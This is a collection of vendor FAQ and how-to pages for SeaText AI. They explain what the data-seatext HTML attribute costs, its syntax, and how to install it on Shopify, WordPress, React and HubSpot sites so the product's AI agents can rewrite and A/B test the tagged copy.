See how this page can help with your next step.
Direct Answer: Adding the SeaText AI data attribute to your website is completely free. The only costs come from the SeaText AI subscription plan you choose to activate the AI agents. Implementation is a one-time technical step that requires no payment.
Adding the data attribute itself costs nothing. You can paste the code snippet into your theme files without any payment. The attribute is just a hook that tells SeaText AI where to find your content. No credit card is needed for this step. The AI remains inert until you activate a subscription. Only when you decide to turn on the AI agents do you need a paid plan. This means you can implement the attribute at your own pace with zero financial risk.
The SeaText AI data attribute is a small piece of HTML code you add to your website's theme files. It marks the specific elements you want the AI to optimize. Think of it as a simple pointer that shows the AI where your product descriptions, headlines, or other content live. The attribute uses a data- prefix in your HTML. For example, you might wrap a product description with data-seatext="product-description". This tells the system exactly which text to analyze and rewrite. The source pack shows step-by-step instructions for Shopify: you edit theme.liquid, locate the product template, and wrap the description output code. The process takes about 10 minutes per site. No ongoing technical work is required after the initial setup.
SeaText AI does not charge for the attribute code or its installation. The attribute is just a hook. The real value comes from the AI agents that use that hook to rewrite content, analyze visitors, and improve conversions. Those agents require an active SeaText AI subscription. As the source pack explains: “The installation process is secure, and the AI remains inert until activated.” You can add the attribute without any financial commitment. Only when you decide to activate the AI do you need a subscription. This design lets you test the technical integration before spending money.
SeaText AI offers several subscription plans. The cost depends on a few key factors:
SeaText AI's homepage mentions “Click here for pricing” on multiple pages, suggesting transparent tiered pricing. The source pack does not list specific dollar amounts, so exact numbers must be obtained from the official pricing page.
Implementation is a one-time task that takes about 10 minutes. You need to:
No ongoing technical work is needed. The cost is only the subscription fee for the AI agents you activate. The source pack notes development URLs like localhost are restricted for security reasons. You must use a valid, real domain. Dynamic development domains may not function properly.
| Fact | Detail |
|---|---|
| Data attribute installation | Free – no payment required |
| Subscription required for AI activation | Yes – you need a paid account |
| Multiple domains | Each domain requires a separate subscription |
| Implementation time | Under 10 minutes per site |
| Pricing visibility | Available on the “Click here for pricing” pages |
| Development environments | Localhost and dynamic dev domains restricted |
This answer applies to the SeaText AI data attribute specifically. If you are using a custom platform or a development environment like localhost, implementation may not work – SeaText AI restricts development URLs. Also, if you need SeaText AI on multiple domains, you must create separate accounts, which increases total cost. The advice does not cover third-party integrations or custom development beyond the standard code snippet. The source pack does not mention refund policies. Check with the vendor or the pricing page for details. Some pages mention a “Free 1-Month Pilot Trial” but current offers should be verified on the pricing page.
No. The attribute is free. You can add it without signing up for any plan.
No. You can add the code snippet without providing payment. The AI remains inactive until you choose a subscription.
You need a separate subscription for each domain. Each account is tied to one primary URL.
The source pack does not mention refund policies. Check with the vendor or the pricing page for details.
Yes, most likely. Higher-tier plans include more agents. The exact pricing structure is available on the official pricing page.
About 10 minutes. The source pack shows step-by-step instructions for Shopify and other platforms.
Some pages mention a “Free 1-Month Pilot Trial.” Check the pricing page for current offers.
SeaText AI provides a suite of autonomous agents that can optimize your website content, improve conversion rates, and recover ad spend. The data attribute is the first step. Once you have a subscription, you can activate agents like the Google Ads Landing Page AI, which rewrites landing pages in real time to match each keyword, or the AI CRO Reading Analysis agent, which analyzes visitor behavior to generate winning copy variants. The source pack notes that installation is secure and the AI remains inert until activated, so you can implement the attribute at your own pace.
However, keep in mind that SeaText AI is a subscription service. The free implementation only covers the technical setup. To get the full benefit, you need to choose a plan that fits your website's needs and budget. The homepage claims 2,500+ frontier marketing teams trust the platform. Agents include conversion relay for CAPI, intent amplifier for ad signals, shielded buyers for competitor protection, VPN click detection, bot protection with up to 20% refunds, WebMCP for Claude and ChatGPT integration, split URL testing, copy A/B testing, ecommerce product copy, personalization, scroll slowdown, 125-language translation, local SEO, SEO content factory, authority link building, ChatGPT brand visibility, visitor source rewrites, and free AI website chat.
These external sources provide additional context for evaluating the topic. Their inclusion is not an endorsement.
These external sources provide additional context for evaluating the topic. Their inclusion is not an endorsement.
Direct Answer: The SeaText AI data attribute marks specific HTML elements so the platform's autonomous agents can optimize, translate, and A/B test that content without touching the rest of the page. By scoping AI changes to tagged sections, it preserves layout integrity while enabling real-time copy improvements that search engines can crawl and index.
The data-seatext attribute (referred to in documentation as the data- attribute) acts as a boundary marker. When you wrap a product description, heading, or any text block with this attribute, SeaText's AI agents know exactly which content they are allowed to rewrite, translate, or test. Everything outside the attribute remains untouched, so your design, scripts, and structured data stay stable.
This scoping mechanism is what makes large-scale, programmatic SEO changes safe. Search engines see the optimized, keyword-aligned copy inside the tagged elements, while the surrounding page structure — schema markup, navigation, canonical tags — stays exactly as you built it. The result is content that matches search intent more closely without risking layout shifts or broken markup that could hurt rankings.
SeaText's Shopify integration guide shows the typical workflow: you locate the product description output in product.liquid (or product-template.liquid), then wrap the Liquid variable that prints the description with the attribute. After saving, the attribute appears in the rendered HTML source, and you can verify it with browser developer tools. The same pattern applies to any platform — find the template partial that outputs the text you want optimized, add the attribute, and the AI agents begin working on that node only.
Because the attribute is just an HTML attribute, it adds no JavaScript weight and does not change the DOM structure. The SeaText script, which you paste into theme.liquid once, scans for the attribute on every page load and applies the active agents (copy optimization, translation, A/B testing, personalization) to the tagged nodes.
Unscoped AI rewrites can inadvertently alter headings, schema markup, canonical URLs, or navigation labels — changes that confuse crawlers and dilute topical signals. The data attribute prevents that by giving you explicit control over the optimization surface. You decide which paragraphs, product bullets, or FAQ answers get the SEO treatment; the rest of the page remains a stable reference for Google's understanding of your site architecture.
This is especially important for ecommerce sites where product pages share templates. Tagging only the description block means thousands of SKUs get unique, intent-matched copy while the price block, review schema, and breadcrumb markup stay identical and valid.
Layout/theme.liquid and paste the SeaText JavaScript snippet before the closing </head> tag.product.liquid or product-template.liquid).{{ product.description }} or a section include.<div data-seatext>{{ product.description }}</div>.SeaText's documentation notes that the AI remains inert until you activate specific agents in the dashboard, so adding the attribute alone does not change content until you choose which optimizations to run.
Each agent operates only inside the attributed nodes, so you can activate translation for product descriptions while keeping A/B testing off for legal disclaimers.
| Criterion | Data attribute (scoped) | Full-page rewrite |
|---|---|---|
| Layout stability | High — only tagged nodes change | Low — any element can shift |
| Schema safety | Preserved — schema stays outside scope | Risk of corruption |
| Control granularity | Per-element | All or nothing |
| Implementation effort | One-time template edit | None, but higher risk |
| Agent flexibility | Mix agents per section | Same agents everywhere |
Choose scoped attribute if you run a template-driven site (Shopify, BigCommerce, headless CMS) where thousands of pages share structure and you need surgical SEO improvements. Choose full-page rewrite only if you have a small, static site and accept the risk of unintended changes.
| Fact | Detail |
|---|---|
| Attribute name | data-seatext (referred to as data- attribute in docs) |
| Purpose | Scopes AI agent operations to specific HTML elements |
| Verification method | Inspect rendered HTML in browser developer tools |
| Agents supported | CRO Reading Analysis, Copy A/B Testing, Ecommerce Product Copy, Personalization, Translation (125 langs), Google Ads Landing Page AI, Visitor Source Rewrites |
| Platform example | Shopify: wrap {{ product.description }} in product.liquid |
| Activation requirement | SeaText account + script in theme.liquid + agent activation in dashboard |
| Multi-domain rule | Separate account and script per primary URL |
| Development restriction | Localhost and dynamic preview URLs blocked |
Tag each product description and title. Activate the Translation agent for 20 languages. The attribute ensures navigation, schema, and checkout copy stay in the default language while only product details translate — avoiding hreflang conflicts and duplicate-content flags.
Tag the H1 and first paragraph of landing pages. Activate the Google Ads Landing Page AI. When a user clicks an ad for "waterproof hiking boots", the tagged headline rewrites to match that phrase, improving Quality Score and conversion rate without altering the footer or product grid.
Wrap the bullet list in a tagged <ul>. Activate AI Copy A/B Testing. SeaText generates variant bullet sets (benefit-led vs. feature-led) and routes traffic. The rest of the page — price, reviews, schema — remains constant, giving a clean test.
No. It is a control mechanism. The SEO value comes from the optimized, translated, or personalized content the agents place inside the tagged elements — content that better matches search intent and user language.
Yes. You can tag the product description for translation, the headline for Google Ads matching, and the FAQ section for A/B testing, each with different active agents.
SeaText agents will not touch that content. It stays exactly as authored — safe, but not optimized.
That agent works by publishing separate Q&A pages and feeding structured data to LLMs; it does not rewrite on-page content, so the attribute is not needed for it.
The SeaText dashboard shows active agents per project. You can also preview the rendered output in the dashboard's live view to see which variants are served.
Technically yes, but the attribute must be present when SeaText's script scans the DOM (on load). Client-side injection after that scan will be missed. Template-level inclusion is the reliable method.
The attribute itself is a few bytes. The SeaText script loads asynchronously and applies changes in the browser; server response time is unchanged.
These external sources provide additional context for evaluating the topic. Their inclusion is not an endorsement.
These external sources provide additional context for evaluating the topic. Their inclusion is not an endorsement.
Direct Answer: The SeaText AI data attribute marks HTML elements so the platform can collect interaction data such as dwell time, scroll depth, and re-reading behavior. Add the attribute to product descriptions or other content blocks, save the theme, then verify the attribute appears in the rendered source to start feeding analytics into your SeaText dashboard.
The data-seatext attribute acts as a hook for SeaText's reading telemetry. When the script loads, it scans the DOM for elements carrying this attribute and begins measuring how visitors interact with that content — how long they dwell, where they scroll, and whether they re-read sections. Those signals feed the AI CRO Reading Analysis agent, which uses them to generate and test copy variants.
The attribute works on any HTML page where the SeaText snippet is installed. It does not require Shopify. The same implementation pattern applies to WordPress, custom sites, or headless storefronts. The only difference is how you edit the template files.
Each unique attribute value becomes a separate analytics row in the dashboard. Choose descriptive values like product-description, collection-intro, or faq-section so you can distinguish zones later.
localhost are restricted for security reasons.theme.liquid file, just before the closing </head> tag.</head> tag. If it is missing, paste the snippet from your SeaText dashboard and click Save.{{ product.description }} or a section render tag).<div data-seatext="product-description">{{ product.description }}</div>product-alternate.liquid, using the same attribute value so data aggregates correctly.Open a product page on the storefront. Right-click the description and choose Inspect (or open DevTools with F12). Search the Elements panel for data-seatext. You should see the attribute on the wrapper you just added.
If the attribute is missing, clear Shopify's cache and re-check the template file for typos. Common issues include:
You can also verify by viewing the page source (view-source: in browser) and searching for data-seatext.
Once verified, SeaText starts recording the following telemetry for each tagged element:
These metrics appear in the SeaText dashboard under the AI CRO Reading Analysis agent. The agent reads full session recordings and telemetry to pinpoint exactly where buyers lose interest, then automatically formulates and deploys contextual copy variants tailored to overcome specific objections.
Unlike standard analytics that treat a 3-second bounce the same as a 90-second deep read, reading telemetry captures the 99% of behavioral data that binary conversion tracking discards.
You can apply the same attribute pattern to collection descriptions, blog posts, or custom sections. Use a descriptive value so the dashboard distinguishes each zone, e.g., data-seatext="collection-intro" or data-seatext="faq-section". Each unique value becomes a separate analytics row.
Best practices for taxonomy:
product-description).Example for a blog post:
<article data-seatext="blog-post-body">{{ article.content }}</article>Placing the attribute directly on a Liquid tag like {{ product.description data-seatext="..." }} does not work — Liquid strips unknown attributes. Always wrap the output in a real HTML element (<div>, <section>, <p>) that carries the attribute.
Other common mistakes:
product-alternate.liquid).Beyond the basic attribute, you can configure additional behaviors through the SeaText dashboard:
These agents work together. Reading telemetry from the data attribute feeds the AI CRO Reading Analysis agent, which informs the copy variants tested by the AI Copy A/B Testing agent.
The data attribute is the foundation for several autonomous agents:
You activate agents one by one in the dashboard. Start with AI CRO Reading Analysis to collect baseline telemetry, then enable testing and personalization agents as needed.
Scenario 1: Low-traffic product pages
Traditional A/B testing requires tens of thousands of visitors. Reading telemetry works with far fewer visits because it measures micro-behaviors (dwell, scroll, re-read) rather than waiting for conversions. Enable the data attribute on product descriptions, then activate AI CRO Reading Analysis. The AI will identify friction points and suggest copy improvements even with modest traffic.
Scenario 2: High-traffic pages with flat conversion
If you have traffic but conversions are stuck, use the attribute on key sections (value proposition, pricing, FAQ). The Scroll Deceleration metric shows exactly where interest spikes before the CTA. Place your strongest offer or guarantee at that coordinate.
Scenario 3: Multi-language stores
SeaText translates content into 125 languages. Add the data attribute to translated blocks using the same attribute values. The dashboard aggregates reading behavior across languages, so you can see which messages work globally.
Decision criteria for attribute placement:
No data appears in dashboard
Check that the SeaText snippet is present in theme.liquid. Verify the attribute exists in rendered HTML. Confirm your domain is a valid production domain (not localhost). Wait a few minutes after first tracked visit.
Data appears but looks wrong
Ensure you used consistent attribute values across all relevant templates. Check for duplicate wrappers (nested elements with the same attribute). Clear browser cache and test in incognito mode.
Theme updates break the wrapper
When you update your theme, the edited template files may be overwritten. Document your changes and re-apply after updates. Consider using a child theme or theme app extension for more durable modifications.
GDPR/CCPA compliance
SeaText respects Do Not Track and consent flows. Configure consent settings in the dashboard. If a visitor opts out, telemetry stops for that session. Historical data remains anonymized.
| Item | Detail |
|---|---|
| Attribute name | data-seatext (value chosen by you) |
| Required parent file | theme.liquid must contain the SeaText JS snippet |
| Typical template | product.liquid or product-template.liquid |
| Verification method | Browser DevTools → Elements panel search for data-seatext |
| Telemetry types | Dwell velocity, friction points, scroll deceleration |
| Dashboard location | AI CRO Reading Analysis agent |
| Domain restriction | One account per production domain; localhost restricted |
| A/B testing activation | Requires enabling AI Copy A/B Testing agent in dashboard |
| Click tracking | Use Conversion Relay (CAPI) or event listeners, not the attribute alone |
| Historical data retention | Remains in dashboard after attribute removal |
Yes. The same data-seatext attribute works on any HTML page where the SeaText snippet is installed. The implementation steps differ only in how you edit the template.
No. It is a standard HTML5 data attribute, invisible to users and ignored by search crawlers.
Typically within minutes of the first tracked visit after verification.
Add the wrapper to each template file (e.g., product.liquid, product-alternate.liquid) using a consistent attribute value so data aggregates correctly.
The attribute tracks reading behavior on the wrapped element. For click tracking, use SeaText's Conversion Relay (CAPI) or standard event listeners alongside the attribute.
No hard limit, but each unique attribute value creates a separate analytics row. Keep the taxonomy manageable.
Telemetry stops for that element. Historical data remains in the dashboard under the original attribute value.
Yes, but the SeaText script must re-scan the DOM after the content loads. For single-page apps or AJAX-loaded sections, call the SeaText initialization function after content injection.
Direct Answer: Yes, the SeaText AI data attribute works with any Shopify theme, as long as you can edit the theme's Liquid files. It's a simple code edit: paste the SeaText script into theme.liquid and add the attribute to the elements you want optimized.
Yes. The SeaText AI data attribute works with any Shopify theme. You don't need a special theme, a paid theme, or a custom build. You need two things: access to your theme's Liquid files and the ability to paste a small amount of code.
If you can open the Shopify code editor, the attribute will work with free themes, paid themes, and most third-party themes. This article explains what the attribute does, how to add it, and where people usually get stuck.
The SeaText AI data attribute is an HTML marker. You add it to elements you want SeaText's AI agents to read, rewrite, or translate. Typical targets are product descriptions, headlines, and call-to-action buttons.
Adding the attribute does not change how your page looks. The AI stays inactive until you activate it, so your content remains intact until then.
Shopify merchants often worry that AI tools require a specific theme or a developer-only setup. That fear is understandable. Many apps need theme app extensions, app blocks, or custom code that only works with certain themes.
SeaText takes a different path. It uses a plain HTML data attribute. HTML attributes are universal. They work in every Shopify theme because every theme renders HTML in the browser. Liquid controls what HTML gets printed, but the final output is still standard HTML.
This matters for store owners who switch themes often. If you move from Dawn to a paid theme, you don't need to reinstall SeaText from scratch. You just repeat the same two edits: paste the script and add the attribute.
SeaText's Shopify integration uses the standard Shopify code editor. No app installation is required. Follow these steps:
After saving, preview a product page. Open your browser's developer tools and inspect the HTML source. You should see the data attribute on the description element.
Put the attribute on the HTML element that contains the content you want the AI to optimize. For product descriptions, that is usually where {{ product.description }} appears in your product template.
For example, on a product page you might add the attribute to a <div> or <p> tag that wraps the description. On a homepage you might add it to the headline and subheadline. Every element you mark becomes a target for SeaText's agents.
A common mistake is pasting the data attribute into theme.liquid and expecting it to work. The script goes in theme.liquid. The attribute goes on the content elements you want to optimize.
Shopify themes are built with Liquid, Shopify's template language. Every theme has files like theme.liquid, product.liquid, and collection.liquid. SeaText's integration works by editing these files.
As long as the theme lets you open the code editor, the SeaText data attribute will work. That includes free themes from the Shopify Theme Store, paid themes, and custom themes. The same code editor is available in every Shopify theme, so you don't need a special theme edition.
If you are using a theme with sections and blocks, you still have access to the underlying Liquid files. Sections and blocks do not prevent you from adding the attribute.
Before you start, keep these limitations in mind:
localhost are restricted for security reasons.| Fact | Detail |
|---|---|
| Integration method | Edit theme.liquid and the product template file. |
| Theme requirement | Any theme that allows code editing. |
| Account requirement | A SEATEXT AI account is required before installation. |
| Domain rule | One account per primary URL; separate accounts for each domain. |
| Development URLs | localhost is restricted; dynamic dev domains may not work. |
| AI activation | Runs only after you activate it. |
Shopify has its own AI features, like Shopify Magic and Sidekick. They live inside the Shopify admin and work on content you create there. SeaText is a separate tool that works at the HTML level on your live storefront. You can use both. They don't conflict, but they are different layers.
SeaText's data attribute is for its own agents. Shopify's AI-generated theme blocks are a separate way to create Liquid blocks. They don't replace SeaText's attribute-based workflow.
No. If you can edit the theme's Liquid files, the attribute will work. Follow the same steps for any theme.
Go to Online Store → Themes → Edit Code. Open the Layout folder, then click theme.liquid.
Only if it is a real, valid domain. Localhost is restricted, and dynamic development domains may not work reliably.
Basic HTML is enough. You are pasting a script and adding an attribute. Still, review your changes in a preview before publishing.
No. Each SeaText account is linked to a single primary URL. Create one account per website or domain.
The SeaText script will load, but the AI won't know which elements to work on. The data attribute marks the content you want it to optimize.
These external sources provide additional context for evaluating the topic. Their inclusion is not an endorsement.
These external sources provide additional context for evaluating the topic. Their inclusion is not an endorsement.
Direct Answer: The syntax is data-seatext="value" (or a custom name you set) placed inside an HTML tag. For example: <div data-seatext="product">Your content here.</div>. This attribute tells SeaText AI which page elements to personalize and optimize in real time.
The SeaText AI data attribute uses a simple HTML attribute syntax: data-seatext="value". You add it to any HTML element that contains text you want the AI to modify. For example: <div data-seatext="product">Product description...</div>. You can also use a custom attribute name if you configure it in your SeaText account. This attribute is the essential marker that tells SeaText which page elements to analyze and rewrite.
The data attribute is a custom HTML attribute that identifies a page element as a target for SeaText's AI agents. It works like a label: SeaText scans the page for elements that have this attribute, reads the current content, and then rewrites that content based on visitor context, campaign keywords, or A/B test variations.
Without this attribute, SeaText does not know which parts of your page to change. It is the bridge between your static HTML and the AI's real-time personalization engine.
The default attribute name is data-seatext. You can change this name in your SeaText account settings, but the default works for most installations.
The attribute value is a string you choose. Use descriptive names like product, headline, cta, or description. The value groups elements together. Elements with the same value are treated as a group by SeaText agents.
Quoting follows standard HTML rules. Use double quotes around the value: data-seatext="product". Single quotes also work: data-seatext='product'. Do not leave the value unquoted.
Attribute names are case-insensitive in HTML. data-seatext, DATA-SEATEXT, and Data-SeaText all work. Attribute values are case-sensitive. product and Product are different groups.
You can place the attribute on any HTML element that contains text content: <div>, <span>, <p>, <h1> through <h6>, <li>, <td>, and others. The element must have text nodes inside. Empty elements are ignored.
When the SeaText script loads, it scans the DOM for elements that have the configured attribute name. It reads each element's attribute value. Elements sharing the same value form a group.
SeaText agents then process each group. For example, all elements with data-seatext="product" receive the same personalization logic. All elements with data-seatext="headline" receive headline-specific logic.
Grouping lets you apply different AI agents to different content types. Product descriptions get ecommerce optimization. Headlines get keyword matching. CTAs get conversion-focused rewrites.
The scan happens after the page loads. Dynamically added elements must have the attribute present when SeaText initializes, or you must trigger a re-scan through the SeaText API.
This process is based on SeaText's official integration guide. Follow these steps to add the attribute to your product descriptions or any other page element.
product.liquid or product-template.liquid).{{ product.description }}.<div data-seatext="product">{{ product.description }}</div>data-seatext attribute is present.Before (original theme code):
<div class="product-description rte">
{{ product.description }}
</div>After (with SeaText attribute):
<div class="product-description rte" data-seatext="product">
{{ product.description }}
</div>You can apply the same method to other elements. For a headline:
<h1 class="product-title" data-seatext="headline">{{ product.title }}</h1>For a call-to-action button:
<button class="btn add-to-cart" data-seatext="cta">Add to cart</button>Remember to install the SeaText JavaScript snippet first. The guide says to paste it in theme.liquid inside the <head> tag, then save.
The attribute works on any HTML website. The syntax is identical. You do not need Shopify.
On a plain HTML page, add the attribute directly to your markup:
<div data-seatext="product">
<p>This product description will be personalized.</p>
</div>On a WordPress site, edit the template file (for example single-product.php in WooCommerce) and wrap the content:
<div data-seatext="product">
<?php the_content(); ?>
</div>On a React or Vue single-page application, add the attribute to your JSX or template:
<div data-seatext="product">{product.description}</div>The SeaText script must be included on the page. Paste the provided JavaScript snippet before the closing </body> tag or in the <head>. The script initializes, scans for the attribute, and begins personalization.
Each domain requires its own SeaText account. The source documentation states: "Each SEATEXT AI account is linked to a single primary URL. If you need to use SEATEXT AI on multiple domains, you must create separate accounts for each domain."
After adding the attribute, verify it is present in the rendered HTML.
data-seatext.If the attribute is missing, check your template code. Ensure you saved the file and cleared any server-side cache.
Check the Console tab for SeaText script errors. Look for messages like "SeaText initialized" or error messages about account configuration.
Use the Network tab to confirm the SeaText script loaded. Filter by "JS" and look for the SeaText domain. A 200 status means the script loaded. A 404 or blocked request means the script failed.
If the script loads but content does not change, verify your SeaText account is active and the domain matches. The documentation notes: "Development URLs, such as localhost, are restricted for security reasons. Ensure you use a valid, real domain."
<!-- Wrong: attribute without script -->
<div data-seatext="product">Description</div>
<!-- Correct: script in head, then attribute -->
<head>
<script src="https://cdn.seatext.com/your-account-id.js"></script>
</head>
<body>
<div data-seatext="product">Description</div>
</body><!-- Wrong: headline and product share value -->
<h1 data-seatext="content">Title</h1>
<div data-seatext="content">Description</div>
<!-- Correct: distinct values -->
<h1 data-seatext="headline">Title</h1>
<div data-seatext="product">Description</div><!-- Wrong: missing closing div -->
<div data-seatext="product">{{ product.description }}
<!-- Correct: proper closing tag -->
<div data-seatext="product">{{ product.description }}</div><!-- Wrong: empty container -->
<div data-seatext="product"></div>
<!-- Correct: element with text -->
<div data-seatext="product">{{ product.description }}</div><!-- Wrong: unquoted -->
<div data-seatext=product>Description</div>
<!-- Correct: quoted -->
<div data-seatext="product">Description</div>staging.yoursite.com).Use any string that describes the content type, such as "product", "headline", or "cta". The value must match what you configure in your SeaText account if you plan to use specific agents.
No. Only add it to elements you want SeaText to personalize. Unmarked elements stay unchanged.
Yes, but those elements will be treated as a group. If you want separate control, use distinct values.
No. Data attributes are invisible to search engines. They do not affect page rankings or indexing.
SeaText will not modify that element. It will remain as written in your theme code.
Yes. The attribute works on any HTML website. The integration steps vary by platform, but the syntax is the same.
Open your browser's developer tools (F12), go to the Elements tab, and search for data-seatext. If it appears, the attribute is correctly placed.
Check that the SeaText script loaded (Network tab), the domain matches your account, you are not on localhost, and the element contains text. Also verify the attribute value matches your agent configuration.
Yes, but you must configure the custom name in your SeaText account settings first. The default is data-seatext.
Yes. Add the attribute to your component templates. Ensure the SeaText script runs after the component mounts, or call the SeaText re-scan method after rendering.
These external sources provide additional context for evaluating the topic. Their inclusion is not an endorsement.
These external sources provide additional context for evaluating the topic. Their inclusion is not an endorsement.
Direct Answer: Add the `data-seatext` attribute to HTML elements in your Liquid templates, e.g., `<div data-seatext='{{ product.id }}'>`. Then install the SeaText AI script in your theme.liquid file. The attribute tells the AI which page elements to enhance.
The data-seatext attribute is a custom HTML attribute. It marks a section of your page for SeaText AI. In Liquid, you add it to any element that contains copy you want optimized. The SeaText AI script reads the attribute and tracks the element.
SeaText is not a static tag. It activates agents that change copy based on visitor behavior and campaign context. The data attribute gives those agents a clear target. Without it, SeaText may not know which copy to optimize.
The SeaText product page describes these as autonomous AI agents. Three agents are directly relevant to data-seatext:
When you mark a copy block, these agents have a stable place to work. The attribute is not a styling hook. It is the integration point between Liquid output and SeaText actions.
The AI remains inert until activated. Adding the attribute does not change your store by itself. This makes it safe to add during theme development.
theme.liquid or product.liquid.theme.liquid.product.liquid or product-template.liquid.{{ product.description }}.data-seatext. Use a stable unique value such as {{ product.id }}:<div data-seatext='{{ product.id }}'>{{ product.description }}</div>
For additional details, see the SeaText AI Scope documentation.
The same pattern works across Shopify templates. Here are practical examples.
<div data-seatext='{{ collection.id }}-description'>{{ collection.description }}</div>
Place this in collection.liquid or collection-template.liquid. It lets the AI optimize the description shoppers see on category pages.
<article data-seatext='{{ article.id }}-content'>{{ article.content }}</article>
Use this in article.liquid to mark blog content. The AI can then analyze reading behavior on articles.
<div data-seatext='{{ page.id }}-content'>{{ page.content }}</div>
This works for about, contact, and landing pages built in page.liquid.
<h1 data-seatext='{{ product.id }}-title'>{{ product.title }}</h1>
Use a distinct suffix when the same page has multiple marked elements. Here -title separates the heading from the description.
<a href='/cart/add' data-seatext='{{ product.id }}-cta'>{{ 'products.product.add_to_cart' | t }}</a>
Marking a CTA lets agents test or rewrite short action text. It also connects to SeaText features that optimize CTAs.
<div data-seatext='{{ product.id }}-summary'>{{ product.metafields.custom.summary }}</div>
Metafields store custom content in Shopify. The Liquid object product.metafields.custom.summary outputs the value from the custom summary field. You can mark that value the same way as any other copy block.
If the SeaText script is absent, the attribute does nothing. It is only a marker. Check theme.liquid before you test.
Use stable IDs such as {{ product.id }}. Avoid random strings or session values. If the value changes on every page view, SeaText cannot track the copy block reliably.
You can mark many elements on the same page. Give each one a unique value. For example, use {{ product.id }}-description and {{ product.id }}-title. Unique values prevent the AI from confusing one block with another.
Adding the attribute with JavaScript is less reliable. SeaText may read the page before the injection happens. Put the attribute in the Liquid-rendered HTML instead.
A missing bracket or quote can break the template. Use Shopify's code editor. Preview the page after every edit.
Edit the active theme. A duplicate theme may look correct in preview but not on the live store.
| Fact | Details |
|---|---|
| Required attribute | data-seatext |
| Script location | theme.liquid |
| AI activation | Inert until activated |
| Domain restriction | One account per primary URL |
Mark elements that contain copy you want to optimize. Product descriptions, headings, CTAs, summaries, and article content are good candidates.
Yes, but unique values are better. Unique values help the AI track each copy block separately.
No. Custom data attributes are ignored by search engines. The attribute does not change indexing or ranking.
No. Put it in the Liquid template. JavaScript injection is less reliable because the AI may run before the attribute exists.
Yes, if you can edit Liquid files. The attribute is theme-agnostic and works with free and paid themes.
The Liquid pattern may not apply. Check with the vendor for headless integration options.
Delete it from the Liquid template. The AI will then ignore that element. No other changes are needed.
These sources provide additional context for the implementation.
These external sources provide additional context for evaluating the topic. Their inclusion is not an endorsement.
Direct Answer: To connect your HubSpot site to SEATEXT AI, you need a SEATEXT AI account, then copy a JavaScript snippet from your SEATEXT dashboard and paste it into your HubSpot site's footer HTML via Settings > General > Advanced. After publishing, visit your site for at least 40 seconds to activate the AI, then wait up to 5 minutes for the domain to appear in your SEATEXT account.
Before you can connect HubSpot to SEATEXT AI, make sure you have:
This is a simple copy-and-paste process. No coding skills are required. The script is inert until you activate an AI agent, so your site content stays safe during installation.
Sign in at seatext.com. If you don’t have an account yet, create one first. Your account is linked to a single primary URL, so use the exact domain of your HubSpot site.
In your SEATEXT dashboard, navigate to the integration section. You will see a JavaScript code block. Copy the entire snippet. Keep it handy – you’ll paste it into HubSpot in the next step.
Log into your HubSpot account. Select the page you want to add SEATEXT AI to, then click Edit.
In the HubSpot editor, click Settings (gear icon) in the top navigation bar. Then go to General and scroll down to Advanced. You’ll see a field labeled Footer HTML.
Paste the SEATEXT AI JavaScript snippet into the Footer HTML field. Click Save or Apply.
Click the orange Publish button at the top right of the HubSpot editor. Your site now has the SEATEXT script installed.
After publishing, open your site in a browser. Visit or refresh the page several times and stay on the page for at least 40 seconds. This activates the AI and links it to your account.
Then, go back to your SEATEXT dashboard. Wait up to 5 minutes for your website domain to appear next to the SEATEXT logo at the top of the page. If you don’t see it after 10 minutes, contact support – this could mean the script wasn’t installed correctly.
Why does the 40-second visit matter? SEATEXT uses that time to confirm the script is live and associate your domain with your account. It’s a security check that prevents accidental or unauthorized connections.
Once your domain is connected, proceed to the Main AI Hub in your SEATEXT account. Here you can activate the specific AI agents you need, such as:
Click on Configuration to adjust parameters for each agent. SEATEXT will then automatically start working on your site.
Each agent works independently. You can turn one on and leave others off. This gives you full control over what changes on your site.
| Fact | Details |
|---|---|
| Time to install | Under 1 minute – just paste one snippet |
| Account required | Yes, a free SEATEXT AI account |
| Domain restriction | One account per domain; separate accounts for multiple domains |
| Activation trigger | Visit your site for 40 seconds after publishing |
| Verification time | Up to 5 minutes to see domain in dashboard |
| Development URLs | Restricted – use a real domain, not localhost |
This table summarizes the most important details. Keep it handy if you’re planning the integration for a client or a team.
Each SEATEXT AI account is linked to a single primary URL. If you want to use SEATEXT on multiple HubSpot sites (e.g., a dev and a production domain), you must create a separate account for each domain.
This is a deliberate design choice. It keeps traffic attribution clean and prevents data mixing between different websites.
Localhost and dynamic development domains are not supported. SEATEXT may not be able to associate traffic with your account. Always use a valid, real domain.
Dynamic development domains change frequently. That makes it hard for SEATEXT to track which account owns the traffic. Use a stable production domain instead.
If your domain doesn’t appear in the dashboard after 10 minutes, double-check that you pasted the full snippet correctly and that the page is published. Also ensure you visited the site on the same domain as your SEATEXT account.
Common mistakes include copying only part of the snippet, pasting it into the wrong field, or forgetting to publish. A quick review of these three steps usually solves the problem.
The script is inert until activated – it won’t affect your site’s content or performance until you turn on an agent in the AI Hub.
This means you can install it safely without worrying about immediate changes. Your visitors won’t see anything different until you choose to activate an agent.
Installation takes under a minute. Activation requires a 40-second visit, and verification takes up to 5 minutes.
Only if the site uses a real, public domain. Development URLs like localhost are restricted for security reasons.
No. You just copy and paste the snippet into the Footer HTML field in HubSpot Settings – no custom code required.
Create a separate SEATEXT AI account for each website. Each account is tied to one primary domain.
Yes, SEATEXT offers a free plan. You can connect and activate agents without any upfront payment.
Check your SEATEXT dashboard for your domain name. Also, you can test by activating an agent and seeing changes on your site.
The AI won’t activate. You’ll need to revisit the page and stay for at least 40 seconds to trigger the connection.
Yes. Just delete the snippet from the Footer HTML field and republish. The AI will stop working on that page.
Once your HubSpot site is connected, you can start using SEATEXT’s AI agents. The most common next steps are:
All agents are managed from the Main AI Hub in your account. You can turn them on/off and adjust settings at any time.
Start with one agent to see how it works. Then add more as you learn what fits your site best.
These external sources provide additional context for evaluating the topic. Their inclusion is not an endorsement.
These external sources provide additional context for evaluating the topic. Their inclusion is not an endorsement.
Direct Answer: To integrate SEATEXT AI with your HubSpot website, open your HubSpot account, navigate to Settings > General > Advanced, paste the SEATEXT AI JavaScript snippet into the Footer HTML field, publish your changes, then activate the AI by visiting your site for at least 40 seconds.
Integrating SEATEXT AI with your HubSpot website adds real-time AI agents to your site. These agents can rewrite page copy, run A/B tests, and adapt content for each visitor. The process is simple and takes under 10 minutes.
Start by logging into your SEATEXT AI account to get your unique JavaScript code. Then follow the HubSpot integration steps below to deploy it across your entire website.
| Step | Action | Time Required |
|---|---|---|
| 1 | Log into SEATEXT AI and copy JavaScript snippet | 2 minutes |
